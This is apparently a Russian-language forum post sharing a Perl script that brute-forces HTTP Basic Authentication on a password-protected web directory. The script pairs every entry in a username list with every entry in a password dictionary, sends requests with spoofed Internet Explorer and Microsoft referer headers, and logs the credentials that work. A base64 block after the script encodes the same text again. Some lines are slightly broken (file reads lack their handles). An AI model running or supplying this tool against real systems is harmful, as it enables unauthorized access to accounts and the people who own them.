Итак, поехали:
#!/usr/bin/perl 
 
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com 
## Modified by sikeirosa: sikeirosa@mail.ru 
 
use MIME::Base64; 
use IO::Socket; 
use POSIX; ### Подрубаем модули POSIX, Socket и Base64 
 
$server="127.0.0.1"; ### Удаленный сервер 
$port="80"; ### Удаленный порт 
$dir="/admin"; ### Запароленная директория 
$logfile="sucess.log"; ### Логфайл, куда пишем пароль  
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
$words="bigdict.txt"; ### Словарь (файл с паролями) 
$users="users.txt"; ### Имя пользователя 
 
open(file, "<$words") or die print "$!\n"; 
@pwd_data=; 
$total=@pwd_data; 
close file; ### Записываем все пароли в один массив 
 
 
open(file, "<$users") or die print "$!\n"; 
@users_data=; 
$total*=@users_data; 
close file; ### Записываем всех пользователей в один массив 
 
$i=0; 
foreach $user (@users_data) { 
   foreach $pass (@pwd_data) { 
      $i++; 
      chomp($pass); 
      chomp($user); 
      open(file, ">$log") or die print "$!\n"; 
      $perc=($i*100)/$total; 
      $perc=ceil($perc); ### Высчитываем процент 
      print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
      close file; 
 
      $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
      chomp($auth); 
 
      ### Порождаем сокет 
      $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
      print $socket "GET $dir HTTP/1.1\n"; 
      print $socket "Host: $server\n"; 
      print $socket "Accept: */*\n";    
      print $socket "Referer: http://support.microsoft.com/\n"; 
      print $socket "User-Agent: Internet Explorer 6.0\n"; 
      print $socket "Pragma: no-cache\n"; 
      print $socket "Cache-Control: no-cache\n"; 
      print $socket "Authorization: Basic $auth\n"; 
      print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 
 
      $ans=<$socket>; ### Получаем ответ от сервера 
 
 
      if ($ans=~/200 Ok/i or $ans=~/301/i) { 
         open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог 
         print logf "$user:$pass is OK!!!\n"; 
         close logf; 
      } 
      close($socket); 
   } 
} 

0JjRgtCw0LosINC/0L7QtdGF0LDQu9C4OgojIS91c3IvYmluL3BlcmwgCgojIyBBdXRvcnM6IE1pa2U6IG1pa2VAZWdncnUuY29tLCBGb3JiOiBkbWl0cnlAZG9rdWNoYWV2LmNvbSAKIyMgTW9kaWZpZWQgYnkgc2lrZWlyb3NhOiBzaWtlaXJvc2FAbWFpbC5ydSAKCnVzZSBNSU1FOjpCYXNlNjQ7IAp1c2UgSU86OlNvY2tldDsgCnVzZSBQT1NJWDsgIyMjINCf0L7QtNGA0YPQsdCw0LXQvCDQvNC+0LTRg9C70LggUE9TSVgsIFNvY2tldCDQuCBCYXNlNjQgCgokc2VydmVyPSIxMjcuMC4wLjEiOyAjIyMg0KPQtNCw0LvQtdC90L3Ri9C5INGB0LXRgNCy0LXRgCAKJHBvcnQ9IjgwIjsgIyMjINCj0LTQsNC70LXQvdC90YvQuSDQv9C+0YDRgiAKJGRpcj0iL2FkbWluIjsgIyMjINCX0LDQv9Cw0YDQvtC70LXQvdC90LDRjyDQtNC40YDQtdC60YLQvtGA0LjRjyAKJGxvZ2ZpbGU9InN1Y2Vzcy5sb2ciOyAjIyMg0JvQvtCz0YTQsNC50LssINC60YPQtNCwINC/0LjRiNC10Lwg0L/QsNGA0L7Qu9GMICAKJGxvZz0ibm93LmxvZyI7ICMjIyDQm9C+0LPRhNCw0LnQuywg0LrRg9C00LAg0L/QuNGI0LXQvCDRgdGC0LDRgtGD0YEgKNGH0YLQviDQv9GA0L7QuNGB0YXQvtC00LjRgiDQsiDQtNCw0L3QvdGD0Y4g0LzQuNC90YPRgtGDKSAKJHdvcmRzPSJiaWdkaWN0LnR4dCI7ICMjIyDQodC70L7QstCw0YDRjCAo0YTQsNC50Lsg0YEg0L/QsNGA0L7Qu9GP0LzQuCkgCiR1c2Vycz0idXNlcnMudHh0IjsgIyMjINCY0LzRjyDQv9C+0LvRjNC30L7QstCw0YLQtdC70Y8gCgpvcGVuKGZpbGUsICI8JHdvcmRzIikgb3IgZGllIHByaW50ICIkIVxuIjsgCkBwd2RfZGF0YT07IAokdG90YWw9QHB3ZF9kYXRhOyAKY2xvc2UgZmlsZTsgIyMjINCX0LDQv9C40YHRi9Cy0LDQtdC8INCy0YHQtSDQv9Cw0YDQvtC70Lgg0LIg0L7QtNC40L0g0LzQsNGB0YHQuNCyIAoKCm9wZW4oZmlsZSwgIjwkdXNlcnMiKSBvciBkaWUgcHJpbnQgIiQhXG4iOyAKQHVzZXJzX2RhdGE9OyAKJHRvdGFsKj1AdXNlcnNfZGF0YTsgCmNsb3NlIGZpbGU7ICMjIyDQl9Cw0L/QuNGB0YvQstCw0LXQvCDQstGB0LXRhSDQv9C+0LvRjNC30L7QstCw0YLQtdC70LXQuSDQsiDQvtC00LjQvSDQvNCw0YHRgdC40LIgCgokaT0wOyAKZm9yZWFjaCAkdXNlciAoQHVzZXJzX2RhdGEpIHsgCiAgIGZvcmVhY2ggJHBhc3MgKEBwd2RfZGF0YSkgeyAKICAgICAgJGkrKzsgCiAgICAgIGNob21wKCRwYXNzKTsgCiAgICAgIGNob21wKCR1c2VyKTsgCiAgICAgIG9wZW4oZmlsZSwgIj4kbG9nIikgb3IgZGllIHByaW50ICIkIVxuIjsgCiAgICAgICRwZXJjPSgkaSoxMDApLyR0b3RhbDsgCiAgICAgICRwZXJjPWNlaWwoJHBlcmMpOyAjIyMg0JLRi9GB0YfQuNGC0YvQstCw0LXQvCDQv9GA0L7RhtC10L3RgiAKICAgICAgcHJpbnQgZmlsZSAiJHBlcmNcJSBEb25lXHQkaSBvZiAkdG90YWxcdFx0Tm93OiAkdXNlclw6JHBhc3NcbiI7ICMjIyDQn9C40YjQtdC8INCyINC70L7QsyDRgdGC0LDRgtGD0YEgCiAgICAgIGNsb3NlIGZpbGU7IAoKICAgICAgJGF1dGg9ZW5jb2RlX2Jhc2U2NCgiJHVzZXJcOiRwYXNzIik7ICMjIyDQodC+0LfQtNCw0LXQvCBNaW1lLdGF0LXRiCAKICAgICAgY2hvbXAoJGF1dGgpOyAKCiAgICAgICMjIyDQn9C+0YDQvtC20LTQsNC10Lwg0YHQvtC60LXRgiAKICAgICAgJHNvY2tldD1JTzo6U29ja2V0OjpJTkVULT5uZXcoIFBlZXJBZGRyID0+ICRzZXJ2ZXIsICAgUGVlclBvcnQgPT4gJHBvcnQsIFByb3RvID0+ICd0Y3AnLCBUeXBlID0+IFNPQ0tfU1RSRUFNKSBvciBkaWUgcHJpbnQgIlVuYWJsZSB0byBjb25uZWN0IHRvICRzZXJ2ZXI6JHBvcnRcbiI7IAogICAgICBwcmludCAkc29ja2V0ICJHRVQgJGRpciBIVFRQLzEuMVxuIjsgCiAgICAgIHByaW50ICRzb2NrZXQgIkhvc3Q6ICRzZXJ2ZXJcbiI7IAogICAgICBwcmludCAkc29ja2V0ICJBY2NlcHQ6ICovKlxuIjsgICAgCiAgICAgIHByaW50ICRzb2NrZXQgIlJlZmVyZXI6IGh0dHA6Ly9zdXBwb3J0Lm1pY3Jvc29mdC5jb20vXG4iOyAKICAgICAgcHJpbnQgJHNvY2tldCAiVXNlci1BZ2VudDogSW50ZXJuZXQgRXhwbG9yZXIgNi4wXG4iOyAKICAgICAgcHJpbnQgJHNvY2tldCAiUHJhZ21hOiBuby1jYWNoZVxuIjsgCiAgICAgIHByaW50ICRzb2NrZXQgIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlXG4iOyAKICAgICAgcHJpbnQgJHNvY2tldCAiQXV0aG9yaXphdGlvbjogQmFzaWMgJGF1dGhcbiI7IAogICAgICBwcmludCAkc29ja2V0ICJDb25uZWN0aW9uOiBjbG9zZVxuXG4iOyAjIyMg0J7RgtC/0YDQsNCy0LvRj9C10LwgaHR0cC3QtNCw0L3QvdGL0LUgKyBNaW1lLdGF0LXRiCAKCiAgICAgICRhbnM9PCRzb2NrZXQ+OyAjIyMg0J/QvtC70YPRh9Cw0LXQvCDQvtGC0LLQtdGCINC+0YIg0YHQtdGA0LLQtdGA0LAgCiAgICAKICAgICAgIAogICAgICBpZiAoJGFucz1+LzIwMCBPay9pIG9yICRhbnM9fi8zMDEvaSkgeyAKICAgICAgICAgb3Blbihsb2dmLCAiPj4kbG9nZmlsZSIpIG9yIGRpZSBwcmludCAiJCFcbiI7ICMjIyDQldGB0LvQuCDQv9Cw0YDQvtC70Ywg0LLQtdGA0L3Ri9C5IC0g0L/QuNGI0LXQvCDQsiBzdWNjZXNzLdC70L7QsyAKICAgICAgICAgcHJpbnQgbG9nZiAiJHVzZXI6JHBhc3MgaXMgT0shISFcbiI7IAogICAgICAgICBjbG9zZSBsb2dmOyAKICAgICAgfSAKICAgICAgY2xvc2UoJHNvY2tldCk7IAogICB9IAp9IA==